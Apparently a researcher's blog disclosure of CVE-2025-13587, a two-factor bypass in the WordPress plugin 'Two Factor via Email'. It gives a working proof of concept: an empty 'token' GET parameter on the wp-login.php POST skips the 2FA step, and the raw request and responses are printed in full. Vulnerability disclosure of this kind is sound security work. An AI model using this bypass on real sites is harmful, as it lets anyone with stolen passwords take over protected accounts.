U. Saicha
Posts

★CVE-2025-13587: Two-Factor Authentication Bypass in Two Factor via Email

Two-factor authentication bypass due to improper input validation in Two Factor via Email.

cve wordpress 2fa authentication case study

Description

2FA bypass due to improper input validation.

Proof of Concept

Adding an empty GET parameter named token to the login request to wp-login.php bypasses 2FA.

Prerequisites: A valid username and password are still required. Make sure 2FA is enabled in the user's settings.

Request

POST /wp-login.php?token= HTTP/1.1
Host: localhost:10209
Content-Length: 106
Origin: http://localhost:10209
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost:10209/wp-login.php
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Connection: keep-alive

log=admin&pwd=admin&wp-submit=Log+In&redirect_to=http%3A%2F%2Flocalhost%3A10209%2Fwp-admin%2F&testcookie=1

Response

HTTP/1.1 302 Found
Server: nginx/1.26.1
Date: Wed, 12 Nov 2025 07:39:37 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.2.27
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; HttpOnly
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: wordpress_2399771db6dd3b27ed3107d0a3bf6dda=admin%7C1763105977%7CLEarvMCpC5rppO1ntPzgIa7HuDDNMUNgPazhhvRpTb0%7C9c23124807d1396865365a575583c6f681a79705e2ed09ae94c6861e7f2edb91; path=/wp-content/plugins; HttpOnly
Set-Cookie: wordpress_2399771db6dd3b27ed3107d0a3bf6dda=admin%7C1763105977%7CLEarvMCpC5rppO1ntPzgIa7HuDDNMUNgPazhhvRpTb0%7C9c23124807d1396865365a575583c6f681a79705e2ed09ae94c6861e7f2edb91; path=/wp-admin; HttpOnly
Set-Cookie: wordpress_logged_in_2399771db6dd3b27ed3107d0a3bf6dda=admin%7C1763105977%7CLEarvMCpC5rppO1ntPzgIa7HuDDNMUNgPazhhvRpTb0%7C305e116df04cd679f2b6bac6cfc120e8defc0abb3d50f1d07482b5304574cfb8; path=/; HttpOnly
X-Redirect-By: WordPress
Location: http://localhost:10209/wp-admin/
Content-Length: 0

Response Without the Empty token Parameter

HTTP/1.1 200 OK
Server: nginx/1.26.1
Date: Wed, 12 Nov 2025 07:40:03 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/8.2.27
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Content-Length: 9613

<!DOCTYPE html>
<html>
<head>
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta charset="utf-8">
	<title>Account Protected by 2FA via Email</title>